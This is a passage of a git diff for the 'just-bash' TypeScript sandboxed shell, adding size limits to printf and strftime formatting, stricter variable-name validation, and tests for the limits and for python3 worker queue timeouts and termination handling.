     width = -width;
   }
 
+  assertFormattingInteger(width, maxBytes, "width");
+  if (precision !== -1) {
+    assertFormattingInteger(precision, maxBytes, "precision");
+  }
+
   return [width, precision, i - startIndex];
 }
 
@@ -87,7 +138,16 @@ export function parseWidthPrecision(
  * Handles: \n, \t, \r, \\, \a, \b, \f, \v, \e, \0NNN (octal), \xHH (hex),
  *          \uHHHH (unicode), \UHHHHHHHH (unicode)
  */
-export function processEscapes(str: string): string {
+export function processEscapes(
+  str: string,
+  maxBytes: number = DEFAULT_MAX_FORMAT_BYTES,
+): string {
+  if (utf8ByteLength(str) > maxBytes) {
+    throw new ExecutionLimitError(
+      `escaped string size limit exceeded (${maxBytes} bytes)`,
+      "string_length",
+    );
+  }
   let result = "";
   let i = 0;
 
diff --git a/packages/just-bash/src/commands/printf/printf.limits.test.ts b/packages/just-bash/src/commands/printf/printf.limits.test.ts
new file mode 100644
index 00000000..db1ee6ed
--- /dev/null
+++ b/packages/just-bash/src/commands/printf/printf.limits.test.ts
@@ -0,0 +1,77 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import { processEscapes } from "./escapes.js";
+
+describe("printf prospective formatting limits", () => {
+  const oversizedFormats = [
+    "%17s",
+    "%17d",
+    "%17o",
+    "%17x",
+    "%17f",
+    "%17q",
+    "%17(%Y)T",
+  ];
+
+  for (const format of oversizedFormats) {
+    it(`rejects ${format} before formatting allocation`, async () => {
+      const bash = new Bash({ executionLimits: { maxStringLength: 16 } });
+      const result = await bash.exec(`printf '${format}' 1`);
+
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toBe(
+        "bash: format width limit exceeded (16 bytes)\n",
+      );
+      expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    });
+  }
+
+  it("rejects dynamic width and precision before formatting", async () => {
+    const bash = new Bash({ executionLimits: { maxStringLength: 16 } });
+
+    const width = await bash.exec("printf '%*s' 17 x");
+    expect(width.stdout).toBe("");
+    expect(width.stderr).toBe("bash: format width limit exceeded (16 bytes)\n");
+    expect(width.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+
+    const precision = await bash.exec("printf '%.*s' 17 x");
+    expect(precision.stdout).toBe("");
+    expect(precision.stderr).toBe(
+      "bash: format precision limit exceeded (16 bytes)\n",
+    );
+    expect(precision.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("allows the exact byte boundary and counts UTF-8 bytes", async () => {
+    const boundary = new Bash({ executionLimits: { maxStringLength: 16 } });
+    const padded = await boundary.exec("printf '%16s' x");
+    expect(padded.stdout).toBe("               x");
+    expect(padded.stderr).toBe("");
+    expect(padded.exitCode).toBe(0);
+
+    const unicodeBoundary = new Bash({
+      executionLimits: { maxStringLength: 100, maxOutputSize: 4 },
+    });
+    const exact = await unicodeBoundary.exec("printf '%s' 'éé'");
+    expect(exact.stdout).toBe("éé");
+    expect(exact.stderr).toBe("");
+    expect(exact.exitCode).toBe(0);
+
+    const over = new Bash({
+      executionLimits: { maxStringLength: 100, maxOutputSize: 3 },
+    });
+    const rejected = await over.exec("printf '%s' 'éé'");
+    expect(rejected.stdout).toBe("");
+    expect(rejected.stderr).toBe(
+      "bash: formatted value size limit exceeded (3 bytes)\n",
+    );
+    expect(rejected.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("rejects an oversized escaped format before processing it", () => {
+    expect(() => processEscapes("123456789", 8)).toThrowError(
+      "escaped string size limit exceeded (8 bytes)",
+    );
+  });
+});
diff --git a/packages/just-bash/src/commands/printf/printf.ts b/packages/just-bash/src/commands/printf/printf.ts
index b5597fb9..fe67d0dc 100644
--- a/packages/just-bash/src/commands/printf/printf.ts
+++ b/packages/just-bash/src/commands/printf/printf.ts
@@ -1,9 +1,18 @@
 import { sprintf } from "sprintf-js";
 import { ExecutionLimitError } from "../../interpreter/errors.js";
 import { getErrorMessage } from "../../interpreter/helpers/errors.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
-import { applyWidth, processEscapes } from "./escapes.js";
+import {
+  applyWidth,
+  assertFormattingInteger,
+  processEscapes,
+  utf8ByteLength,
+} from "./escapes.js";
 import { formatStrftime } from "./strftime.js";
 
 /**
@@ -140,10 +149,13 @@ const printfHelp = {
   ],
 };
 
-export const printfCommand: Command = {
+export const printfCommand: RuntimeCommand = {
   name: "printf",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(printfHelp);
     }
@@ -179,7 +191,9 @@ export const printfCommand: Command = {
         targetVar = args[argIndex + 1];
         // Validate variable name
         if (
-          !/^[a-zA-Z_][a-zA-Z0-9_]*(\[[a-zA-Z0-9_@*"'$]+\])?$/.test(targetVar)
+          !/^[a-zA-Z_][a-zA-Z0-9_]*(?:\[[^\]\n]+\])?$/.test(targetVar) ||
+          /[;\r\\]/.test(targetVar) ||
+          targetVar.includes("..")
         ) {
           return {
             stdout: "",
@@ -208,11 +222,17 @@ export const printfCommand: Command = {
     const formatArgs = args.slice(argIndex + 1);
 
     try {
-      // First, process escape sequences in the format string
-      const processedFormat = processEscapes(format);
+      const maxOutputBytes = Math.min(
+        ctx.limits.maxStringLength,
+        ctx.limits.maxOutputSize,
+      );
+
+      // First, process escape sequences in the format string.
+      const processedFormat = processEscapes(format, maxOutputBytes);
 
       // Format and handle argument reuse (bash loops through format until all args consumed)
       let output = "";
+      let outputBytes = 0;
       let argPos = 0;
       let hadError = false;
       let errorMessage = "";
@@ -220,27 +240,23 @@ export const printfCommand: Command = {
       // Get TZ from shell environment for strftime formatting
       const tz = ctx.env.get("TZ");
 
-      const maxStringLength = ctx.limits?.maxStringLength;
-
       do {
         const { result, argsConsumed, error, errMsg, stopped } = formatOnce(
           processedFormat,
           formatArgs,
           argPos,
           tz,
+          maxOutputBytes - outputBytes,
         );
-        output += result;
-        // Check output size against limit
-        if (
-          maxStringLength !== undefined &&
-          maxStringLength > 0 &&
-          output.length > maxStringLength
-        ) {
+        const resultBytes = utf8ByteLength(result);
+        if (resultBytes > maxOutputBytes - outputBytes) {
           throw new ExecutionLimitError(
-            `printf: output size limit exceeded (${maxStringLength} bytes)`,
+            `printf: output size limit exceeded (${maxOutputBytes} bytes)`,
             "string_length",
           );
         }
+        output += result;
+        outputBytes += resultBytes;
         argPos += argsConsumed;
         if (error) {
           hadError = true;
@@ -270,9 +286,22 @@ export const printfCommand: Command = {
           key = key.replace(/\$([a-zA-Z_][a-zA-Z0-9_]*)/g, (_, varName) => {
             return ctx.env.get(varName) ?? "";
           });
-          ctx.env.set(`${arrayName}_${key}`, output);
+          if (ctx.assignShellVariable) {
+            await ctx.assignShellVariable(arrayName, output, key);
+          } else {
+            throw new Error(
+              "printf -v array assignment requires an interpreter assignment gateway",
+            );
+          }
         } else {
-          ctx.env.set(targetVar, output);
+          if (ctx.assignShellVariable) {
+            await ctx.assignShellVariable(targetVar, output);
+          } else {
+            if (!/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(targetVar)) {
+              throw new Error(`${targetVar}: not a valid identifier`);
+            }
+            ctx.env.set(targetVar, output);
+          }
         }
         return { stdout: "", stderr: errorMessage, exitCode: hadError ? 1 : 0 };
       }
@@ -283,7 +312,13 @@ export const printfCommand: Command = {
         exitCode: hadError ? 1 : 0,
       };
     } catch (error) {
-      if (error instanceof ExecutionLimitError) {
+      if (
+        error instanceof ExecutionLimitError ||
+        (typeof error === "object" &&
+          error !== null &&
+          "name" in error &&
+          error.name === "ExitError")
+      ) {
         throw error;
       }
       return {
@@ -304,6 +339,7 @@ function formatOnce(
   args: string[],
   argPos: number,
   tz?: string,
+  maxOutputBytes = 10 * 1024 * 1024,
 ): {
   result: string;
   argsConsumed: number;
@@ -316,6 +352,19 @@ function formatOnce(
   let argsConsumed = 0;
   let error = false;
   let errMsg = "";
+  let resultBytes = 0;
+
+  const append = (value: string): void => {
+    const valueBytes = utf8ByteLength(value);
+    if (valueBytes > maxOutputBytes - resultBytes) {
+      throw new ExecutionLimitError(
+        `printf: output size limit exceeded (${maxOutputBytes} bytes)`,
+        "string_length",
+      );
+    }
+    result += value;
+    resultBytes += valueBytes;
+  };
 
   while (i < format.length) {
     if (format[i] === "%" && i + 1 < format.length) {
@@ -325,7 +374,7 @@ function formatOnce(
 
       // Check for %%
       if (format[i] === "%") {
-        result += "%";
+        append("%");
         i++;
         continue;
       }
@@ -340,6 +389,10 @@ function formatOnce(
         const precision = strftimeMatch[2]
           ? parseInt(strftimeMatch[2], 10)
           : -1;
+        assertFormattingInteger(width, maxOutputBytes, "width");
+        if (precision !== -1) {
+          assertFormattingInteger(precision, maxOutputBytes, "precision");
+        }
         const strftimeFmt = strftimeMatch[3];
         const fullMatch = strftimeMatch[0];
 
@@ -359,28 +412,19 @@ function formatOnce(
         }
 
         // Format using strftime
-        let formatted = formatStrftime(strftimeFmt, timestamp, tz);
-
-        // Apply precision (truncate)
-        if (precision >= 0 && formatted.length > precision) {
-          formatted = formatted.slice(0, precision);
-        }
-
-        // Apply width
-        if (width !== 0) {
-          const absWidth = Math.abs(width);
-          if (formatted.length < absWidth) {
-            if (width < 0) {
-              // Left-justify
-              formatted = formatted.padEnd(absWidth, " ");
-            } else {
-              // Right-justify
-              formatted = formatted.padStart(absWidth, " ");
-            }
-          }
-        }
+        let formatted = formatStrftime(strftimeFmt, timestamp, tz, {
+          maxOperations: maxOutputBytes - resultBytes,
+          maxOutputBytes: maxOutputBytes - resultBytes,
+        });
+
+        formatted = applyWidth(
+          formatted,
+          width,
+          precision,
+          maxOutputBytes - resultBytes,
+        );
 
-        result += formatted;
+        append(formatted);
         i = specStart + fullMatch.length;
         continue;
       }
@@ -430,15 +474,23 @@ function formatOnce(
       let adjustedSpec = fullSpec;
       if (widthFromArg) {
         const w = parseInt(args[argPos + argsConsumed] || "0", 10);
+        assertFormattingInteger(w, maxOutputBytes - resultBytes, "width");
         argsConsumed++;
         adjustedSpec = adjustedSpec.replace("*", String(w));
       }
       if (precisionFromArg) {
         const p = parseInt(args[argPos + argsConsumed] || "0", 10);
+        if (p >= 0) {
+          assertFormattingInteger(p, maxOutputBytes - resultBytes, "precision");
+        } else if (!Number.isSafeInteger(p)) {
+          assertFormattingInteger(p, maxOutputBytes - resultBytes, "precision");
+        }
         argsConsumed++;
         adjustedSpec = adjustedSpec.replace(".*", `.${p}`);
       }
 
+      assertFormatSpecBounds(adjustedSpec, maxOutputBytes - resultBytes);
+
       // Get the argument
       const arg = args[argPos + argsConsumed] || "";
       argsConsumed++;
@@ -448,8 +500,9 @@ function formatOnce(
         adjustedSpec,
         specifier,
         arg,
+        maxOutputBytes - resultBytes,
       );
-      result += value;
+      append(value);
       if (parseError) {
         error = true;
         if (parseErrMsg) errMsg = parseErrMsg;
@@ -459,7 +512,7 @@ function formatOnce(
         return { result, argsConsumed, error, errMsg, stopped: true };
       }
     } else {
-      result += format[i];
+      append(format[i]);
       i++;
     }
   }
@@ -474,6 +527,7 @@ function formatValue(
   spec: string,
   specifier: string,
   arg: string,
+  maxOutputBytes: number,
 ): {
   value: string;
   parseError: boolean;
@@ -548,21 +602,21 @@ function formatValue(
     }
     case "s":
       return {
-        value: formatString(spec, arg),
+        value: formatString(spec, arg, maxOutputBytes),
         parseError: false,
         parseErrMsg: "",
       };
     case "q":
       // Shell quoting with width support
       return {
-        value: formatQuoted(spec, arg),
+        value: formatQuoted(spec, arg, maxOutputBytes),
         parseError: false,
         parseErrMsg: "",
       };
     case "b": {
       // Interpret escape sequences in arg
       // Returns {value, stopped} - if stopped is true, \c was encountered
-      const bResult = processBEscapes(arg);
+      const bResult = processBEscapes(arg, maxOutputBytes);
       return {
         value: bResult.value,
         parseError: false,
@@ -587,6 +641,17 @@ function formatValue(
   }
 }
 
+function assertFormatSpecBounds(spec: string, maxOutputBytes: number): void {
+  const match = spec.match(/^%[-+0 #' ]*(\d*)(?:\.(\d*))?/);
+  if (!match) return;
+  const width = match[1] ? Number(match[1]) : 0;
+  const precision = match[2] !== undefined ? Number(match[2]) : -1;
+  assertFormattingInteger(width, maxOutputBytes, "width");
+  if (precision !== -1) {
+    assertFormattingInteger(precision, maxOutputBytes, "precision");
+  }
+}
+
 /**
  * Error flag for invalid integer parsing - set by parseIntArg
  */
@@ -800,12 +865,24 @@ function formatHex(spec: string, num: number): string {
  * Shell-quote a string (for %q)
  * Bash uses backslash escaping for printable chars, $'...' only for control chars
  */
-function shellQuote(str: string): string {
+function shellQuote(str: string, maxOutputBytes: number): string {
   if (str === "") {
+    if (maxOutputBytes < 2) {
+      throw new ExecutionLimitError(
+        `printf: output size limit exceeded (${maxOutputBytes} bytes)`,
+        "string_length",
+      );
+    }
     return "''";
   }
   // If string contains only safe characters, return as-is
   if (/^[a-zA-Z0-9_./-]+$/.test(str)) {
+    if (utf8ByteLength(str) > maxOutputBytes) {
+      throw new ExecutionLimitError(
+        `printf: output size limit exceeded (${maxOutputBytes} bytes)`,
+        "string_length",
+      );
+    }
     return str;
   }
 
@@ -813,6 +890,42 @@ function shellQuote(str: string): string {
   // High bytes (0x80-0xff) need escaping as they are not printable ASCII
   const needsDollarQuote = /[\x00-\x1f\x7f-\xff]/.test(str);
 
+  let prospectiveBytes = needsDollarQuote ? 3 : 0; // $' plus closing quote
+  for (const char of str) {
+    const code = char.charCodeAt(0);
+    if (needsDollarQuote) {
+      if (
+        char === "'" ||
+        char === "\\" ||
+        char === "\n" ||
+        char === "\t" ||
+        char === "\r" ||
+        char === "\x07" ||
+        char === "\b" ||
+        char === "\f" ||
+        char === "\v" ||
+        char === "\x1b" ||
+        char === '"'
+      ) {
+        prospectiveBytes += 2;
+      } else if (code < 32 || (code >= 127 && code <= 255)) {
+        prospectiveBytes += 4;
+      } else {
+        prospectiveBytes += utf8ByteLength(char);
+      }
+    } else {
+      prospectiveBytes +=
+        utf8ByteLength(char) +
+        (" \t|&;<>()$`\\\"'*?[#~=%!{}".includes(char) ? 1 : 0);
+    }
+    if (prospectiveBytes > maxOutputBytes) {
+      throw new ExecutionLimitError(
+        `printf: output size limit exceeded (${maxOutputBytes} bytes)`,
+        "string_length",
+      );
+    }
+  }
+
   if (needsDollarQuote) {
     // Use $'...' format with escape sequences for control characters
     let result = "$'";
@@ -869,7 +982,11 @@ function shellQuote(str: string): string {
  * Format a string with %s, respecting width and precision
  * Note: %06s should NOT zero-pad (0 flag is ignored for strings)
  */
-function formatString(spec: string, str: string): string {
+function formatString(
+  spec: string,
+  str: string,
+  maxOutputBytes: number,
+): string {
   const match = spec.match(/^%(-?)(\d*)(\.(\d*))?s$/);
   if (!match) {
     return sprintf(spec.replace(/0+(?=\d)/, ""), str);
@@ -884,14 +1001,18 @@ function formatString(spec: string, str: string): string {
 
   // Use shared width/alignment utility
   const width = leftJustify ? -widthVal : widthVal;
-  return applyWidth(str, width, precision);
+  return applyWidth(str, width, precision, maxOutputBytes);
 }
 
 /**
  * Format a quoted string with %q, respecting width
  */
-function formatQuoted(spec: string, str: string): string {
-  const quoted = shellQuote(str);
+function formatQuoted(
+  spec: string,
+  str: string,
+  maxOutputBytes: number,
+): string {
+  const quoted = shellQuote(str, maxOutputBytes);
 
   const match = spec.match(/^%(-?)(\d*)q$/);
   if (!match) {
@@ -901,16 +1022,7 @@ function formatQuoted(spec: string, str: string): string {
   const leftJustify = match[1] === "-";
   const width = match[2] ? parseInt(match[2], 10) : 0;
 
-  let result = quoted;
-  if (width > result.length) {
-    if (leftJustify) {
-      result = result.padEnd(width, " ");
-    } else {
-      result = result.padStart(width, " ");
-    }
-  }
-
-  return result;
+  return applyWidth(quoted, leftJustify ? -width : width, -1, maxOutputBytes);
 }
 
 /**
@@ -992,7 +1104,16 @@ function formatFloat(spec: string, specifier: string, num: number): string {
  * - Octal can be \NNN or \0NNN
  * Returns {value, stopped} - stopped is true if \c was encountered
  */
-function processBEscapes(str: string): { value: string; stopped: boolean } {
+function processBEscapes(
+  str: string,
+  maxOutputBytes: number,
+): { value: string; stopped: boolean } {
+  if (utf8ByteLength(str) > maxOutputBytes) {
+    throw new ExecutionLimitError(
+      `printf: output size limit exceeded (${maxOutputBytes} bytes)`,
+      "string_length",
+    );
+  }
   let result = "";
   let i = 0;
 
diff --git a/packages/just-bash/src/commands/printf/strftime.ts b/packages/just-bash/src/commands/printf/strftime.ts
index 3c375544..50c10f8c 100644
--- a/packages/just-bash/src/commands/printf/strftime.ts
+++ b/packages/just-bash/src/commands/printf/strftime.ts
@@ -4,6 +4,14 @@
  * Handles date/time formatting for printf's %(...)T directive.
  */
 
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import { utf8ByteLength } from "./escapes.js";
+
+interface StrftimeLimits {
+  maxOperations?: number;
+  maxOutputBytes?: number;
+}
+
 /**
  * Format a timestamp using strftime-like format string.
  */
@@ -11,27 +19,63 @@ export function formatStrftime(
   format: string,
   timestamp: number,
   tz?: string,
+  limits: StrftimeLimits = {},
 ): string {
   const date = new Date(timestamp * 1000);
+  const parts = getDatePartsInTimezone(date, tz);
 
   // Build result by replacing format directives
   let result = "";
+  let resultBytes = 0;
   let i = 0;
+  let operations = 0;
+  const directiveCache = new Map<string, string | null>();
+
+  const append = (value: string): void => {
+    const valueBytes = utf8ByteLength(value);
+    if (
+      limits.maxOutputBytes !== undefined &&
+      valueBytes > limits.maxOutputBytes - resultBytes
+    ) {
+      throw new ExecutionLimitError(
+        `strftime: output size limit exceeded (${limits.maxOutputBytes} bytes)`,
+        "output_size",
+      );
+    }
+    result += value;
+    resultBytes += valueBytes;
+  };
 
   while (i < format.length) {
+    operations++;
+    if (
+      limits.maxOperations !== undefined &&
+      operations > limits.maxOperations
+    ) {
+      throw new ExecutionLimitError(
+        `strftime: iteration limit exceeded (${limits.maxOperations})`,
+        "iterations",
+      );
+    }
     if (format[i] === "%" && i + 1 < format.length) {
       const directive = format[i + 1];
-      const formatted = formatStrftimeDirective(date, directive, tz);
+      let formatted: string | null;
+      if (directiveCache.has(directive)) {
+        formatted = directiveCache.get(directive) ?? null;
+      } else {
+        formatted = formatStrftimeDirective(date, parts, directive, tz);
+        directiveCache.set(directive, formatted);
+      }
       if (formatted !== null) {
-        result += formatted;
+        append(formatted);
         i += 2;
       } else {
         // Unknown directive, keep as-is
-        result += format[i];
+        append(format[i]);
         i++;
       }
     } else {
-      result += format[i];
+      append(format[i]);
       i++;
     }
   }
@@ -122,11 +166,10 @@ function getDatePartsInTimezone(
  */
 function formatStrftimeDirective(
   date: Date,
+  parts: ReturnType<typeof getDatePartsInTimezone>,
   directive: string,
   tz?: string,
 ): string | null {
-  const parts = getDatePartsInTimezone(date, tz);
-
   const pad = (n: number, width = 2): string => String(n).padStart(width, "0");
 
   const dayOfYear = getDayOfYearForParts(parts.year, parts.month, parts.day);
diff --git a/packages/just-bash/src/commands/pwd/pwd.ts b/packages/just-bash/src/commands/pwd/pwd.ts
index 5b0125de..1cb4733e 100644
--- a/packages/just-bash/src/commands/pwd/pwd.ts
+++ b/packages/just-bash/src/commands/pwd/pwd.ts
@@ -1,9 +1,16 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 
-export const pwdCommand: Command = {
+export const pwdCommand: RuntimeCommand = {
   name: "pwd",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     // Parse options
     let usePhysical = false;
 
diff --git a/packages/just-bash/src/commands/python3/python3.queue-desync.runtime.test.ts b/packages/just-bash/src/commands/python3/python3.queue-desync.runtime.test.ts
index 6537c796..8729ca30 100644
--- a/packages/just-bash/src/commands/python3/python3.queue-desync.runtime.test.ts
+++ b/packages/just-bash/src/commands/python3/python3.queue-desync.runtime.test.ts
@@ -2,6 +2,15 @@ import { describe, expect, it } from "vitest";
 import { Bash } from "../../Bash.js";
 import { InMemoryFs } from "../../fs/in-memory-fs/in-memory-fs.js";
 
+function expectFiveMillisecondTimeout(stderr: string): void {
+  // The request controller is authoritative. The bridge may independently
+  // observe the same deadline before it is stopped, so its diagnostic is
+  // intentionally optional rather than part of the protocol contract.
+  expect(stderr).toMatch(
+    /^(?:\n?python3: execution timeout exceeded\n)?python3: Execution timeout: exceeded 5ms limit\n$/,
+  );
+}
+
 describe("python3 queue runtime desync checks", () => {
   it(
     "isolated python timeout baseline (no shared queue contention)",
@@ -17,9 +26,7 @@ describe("python3 queue runtime desync checks", () => {
       );
 
       expect(result.stdout).toBe("");
-      expect(result.stderr).toBe(
-        "\npython3: execution timeout exceeded\npython3: Execution timeout: exceeded 5ms limit\n",
-      );
+      expectFiveMillisecondTimeout(result.stderr);
       expect(result.exitCode).toBe(124);
     },
   );
@@ -56,9 +63,7 @@ describe("python3 queue runtime desync checks", () => {
       const firstResult = await firstPromise;
 
       expect(secondResult.stdout).toBe("");
-      expect(secondResult.stderr).toBe(
-        "\npython3: execution timeout exceeded\npython3: Execution timeout: exceeded 5ms limit\n",
-      );
+      expectFiveMillisecondTimeout(secondResult.stderr);
       expect(secondResult.exitCode).toBe(124);
 
       expect(firstResult.stdout).toBe("FIRST_BEGIN\nFIRST_END\n");
@@ -98,9 +103,7 @@ describe("python3 queue runtime desync checks", () => {
       );
 
       expect(timedResult.stdout).toBe("");
-      expect(timedResult.stderr).toBe(
-        "\npython3: execution timeout exceeded\npython3: Execution timeout: exceeded 5ms limit\n",
-      );
+      expectFiveMillisecondTimeout(timedResult.stderr);
       expect(timedResult.exitCode).toBe(124);
 
       await blockerPromise;
diff --git a/packages/just-bash/src/commands/python3/python3.queue-timeout-exploit.test.ts b/packages/just-bash/src/commands/python3/python3.queue-timeout-exploit.test.ts
index b1f64e4a..21376a74 100644
--- a/packages/just-bash/src/commands/python3/python3.queue-timeout-exploit.test.ts
+++ b/packages/just-bash/src/commands/python3/python3.queue-timeout-exploit.test.ts
@@ -2,7 +2,7 @@ import { beforeEach, describe, expect, it, vi } from "vitest";
 import { EMPTY_BYTES } from "../../encoding.js";
 import { InMemoryFs } from "../../fs/in-memory-fs/in-memory-fs.js";
 import { resolveLimits } from "../../limits.js";
-import type { CommandContext } from "../../types.js";
+import type { RuntimeCommandContext } from "../../types.js";
 
 type MockWorkerController = {
   emit: (event: string, payload?: unknown) => void;
@@ -14,6 +14,10 @@ const mockState = vi.hoisted(() => ({
   workers: [] as MockWorkerController[],
   onConstruct: null as ((worker: MockWorkerController) => void) | null,
   secondWorkerStartedAfterTimeout: false,
+  deferredTerminationIds: new Set<number>(),
+  rejectedTerminationIds: new Set<number>(),
+  terminationResolvers: new Map<number, () => void>(),
+  bridgeStops: 0,
 }));
 
 // Pre-capture SharedArrayBuffer before defense-in-depth patches it
@@ -60,7 +64,27 @@ vi.mock("node:worker_threads", () => {
       return this;
     }
 
+    removeListener(event: string, cb: (payload?: unknown) => void): this {
+      const list = this.handlers.get(event) ?? [];
+      this.handlers.set(
+        event,
+        list.filter((handler) => handler !== cb),
+      );
+      return this;
+    }
+
     terminate(): Promise<number> {
+      if (mockState.rejectedTerminationIds.has(this.workerId)) {
+        return Promise.reject(new Error("termination rejected"));
+      }
+      if (mockState.deferredTerminationIds.has(this.workerId)) {
+        return new Promise((resolve) => {
+          mockState.terminationResolvers.set(this.workerId, () => {
+            this.emit("exit", 0);
+            resolve(0);
+          });
+        });
+      }
       this.emit("exit", 0);
       return Promise.resolve(0);
     }
@@ -79,6 +103,10 @@ vi.mock("../worker-bridge/bridge-handler.js", () => {
     async run(): Promise<{ stdout: string; stderr: string; exitCode: number }> {
       return { stdout: "BRIDGE_STDOUT\n", stderr: "", exitCode: 0 };
     }
+
+    stop(): void {
+      mockState.bridgeStops++;
+    }
   }
   return { BridgeHandler: MockBridgeHandler };
 });
@@ -94,7 +122,8 @@ import { _resetExecutionQueue, python3Command } from "./python3.js";
 function createContextWithFs(
   timeoutMs: number,
   fs: InMemoryFs,
-): CommandContext {
+  signal?: AbortSignal,
+): RuntimeCommandContext {
   return {
     fs,
     cwd: "/home/user",
@@ -105,6 +134,7 @@ function createContextWithFs(
     ]),
     stdin: EMPTY_BYTES,
     limits: resolveLimits({ maxPythonTimeoutMs: timeoutMs }),
+    signal,
   };
 }
 
@@ -125,6 +155,10 @@ describe("python3 queue timeout cancellation", () => {
     mockState.workers = [];
     mockState.onConstruct = null;
     mockState.secondWorkerStartedAfterTimeout = false;
+    mockState.deferredTerminationIds.clear();
+    mockState.rejectedTerminationIds.clear();
+    mockState.terminationResolvers.clear();
+    mockState.bridgeStops = 0;
     _resetExecutionQueue();
     // Allow any in-flight workers from previous tests to settle
     await new Promise((r) => setTimeout(r, 10));
@@ -154,7 +188,7 @@ describe("python3 queue timeout cancellation", () => {
     // Second request times out while queued
     const secondResult = await secondPromise;
     expect(secondResult.stderr).toContain("Execution timeout");
-    expect(secondResult.exitCode).toBe(1);
+    expect(secondResult.exitCode).toBe(124);
     expect(mockState.workers.length).toBe(1);
 
     // First request completes normally
@@ -197,7 +231,7 @@ describe("python3 queue timeout cancellation", () => {
     // All 5 should time out
     const timedOutResults = await Promise.all(timedOutPromises);
     for (const r of timedOutResults) {
-      expect(r.exitCode).toBe(1);
+      expect(r.exitCode).toBe(124);
       expect(r.stderr).toContain("Execution timeout");
     }
 
@@ -214,4 +248,123 @@ describe("python3 queue timeout cancellation", () => {
     // No additional workers created — all canceled entries were skipped
     expect(mockState.workers.length).toBe(1);
   });
+
+  it("removes a parent-aborted request from the queue immediately", async () => {
+    const sharedFs = new InMemoryFs();
+    const firstPromise = python3Command.execute(
+      ["-c", "print('first')"],
+      createContextWithFs(500, sharedFs),
+    );
+    await waitForWorkerCount(1);
+
+    const abort = new AbortController();
+    const secondPromise = python3Command.execute(
+      ["-c", "print('never')"],
+      createContextWithFs(500, sharedFs, abort.signal),
+    );
+    abort.abort();
+    const second = await secondPromise;
+    expect(second.stderr).toContain("Execution aborted");
+
+    mockState.workers[0]?.emitAuthenticated("message", { success: true });
+    await firstPromise;
+    await new Promise((resolve) => setTimeout(resolve, 5));
+    expect(mockState.workers).toHaveLength(1);
+  });
+
+  it("does not advance or release a newer owner until termination completes", async () => {
+    const sharedFs = new InMemoryFs();
+    mockState.deferredTerminationIds.add(1);
+
+    const firstPromise = python3Command.execute(
+      ["-c", "print('first')"],
+      createContextWithFs(500, sharedFs),
+    );
+    await waitForWorkerCount(1);
+
+    const secondPromise = python3Command.execute(
+      ["-c", "print('second')"],
+      createContextWithFs(500, sharedFs),
+    );
+    mockState.workers[0]?.emitAuthenticated("message", { success: true });
+    await firstPromise;
+
+    // Settling the result is independent from queue ownership: the next worker
+    // cannot start until termination of the old worker is confirmed.
+    await new Promise((resolve) => setTimeout(resolve, 5));
+    expect(mockState.workers.length).toBe(1);
+
+    mockState.terminationResolvers.get(1)?.();
+    await waitForWorkerCount(2);
+    mockState.workers[1]?.emitAuthenticated("message", { success: true });
+
+    const secondResult = await secondPromise;
+    expect(secondResult.stdout).toBe("BRIDGE_STDOUT\n");
+    expect(secondResult.stderr).toBe("");
+    expect(secondResult.exitCode).toBe(0);
+    expect(mockState.workers.length).toBe(2);
+  });
+
+  it("poisons the queue when worker termination is not acknowledged", async () => {
+    const sharedFs = new InMemoryFs();
+    mockState.rejectedTerminationIds.add(1);
+
+    const firstPromise = python3Command.execute(
+      ["-c", "print('first')"],
+      createContextWithFs(500, sharedFs),
+    );
+    await waitForWorkerCount(1);
+    const secondPromise = python3Command.execute(
+      ["-c", "print('never')"],
+      createContextWithFs(500, sharedFs),
+    );
+
+    mockState.workers[0]?.emitAuthenticated("message", { success: true });
+    await firstPromise;
+    const second = await secondPromise;
+    expect(second.stderr).toContain("termination was not acknowledged");
+    expect(mockState.workers).toHaveLength(1);
+    expect(mockState.bridgeStops).toBeGreaterThanOrEqual(1);
+
+    const third = await python3Command.execute(
+      ["-c", "print('also never')"],
+      createContextWithFs(500, sharedFs),
+    );
+    expect(third.stderr).toContain("termination was not acknowledged");
+    expect(mockState.workers).toHaveLength(1);
+  });
+
+  it("ignores stale events from a previous worker", async () => {
+    const sharedFs = new InMemoryFs();
+
+    const firstPromise = python3Command.execute(
+      ["-c", "print('first')"],
+      createContextWithFs(500, sharedFs),
+    );
+    await waitForWorkerCount(1);
+    const secondPromise = python3Command.execute(
+      ["-c", "print('second')"],
+      createContextWithFs(500, sharedFs),
+    );
+    const thirdPromise = python3Command.execute(
+      ["-c", "print('third')"],
+      createContextWithFs(500, sharedFs),
+    );
+
+    mockState.workers[0]?.emitAuthenticated("message", { success: true });
+    await firstPromise;
+    await waitForWorkerCount(2);
+
+    // The old worker no longer owns the queue and has no attached listeners.
+    mockState.workers[0]?.emit("exit", 0);
+    await new Promise((resolve) => setTimeout(resolve, 5));
+    expect(mockState.workers.length).toBe(2);
+
+    mockState.workers[1]?.emitAuthenticated("message", { success: true });
+    await secondPromise;
+    await waitForWorkerCount(3);
+    mockState.workers[2]?.emitAuthenticated("message", { success: true });
+    await thirdPromise;
+    expect(mockState.workers.length).toBe(3);
+  });
 });
diff --git a/packages/just-bash/src/commands/python3/python3.security.test.ts b/packages/just-bash/src/commands/python3/python3.security.test.ts
index f3923f98..85952f69 100644
--- a/packages/just-bash/src/commands/python3/python3.security.test.ts
+++ b/packages/just-bash/src/commands/python3/python3.security.test.ts
@@ -91,6 +91,40 @@ describe("python3 security", () => {
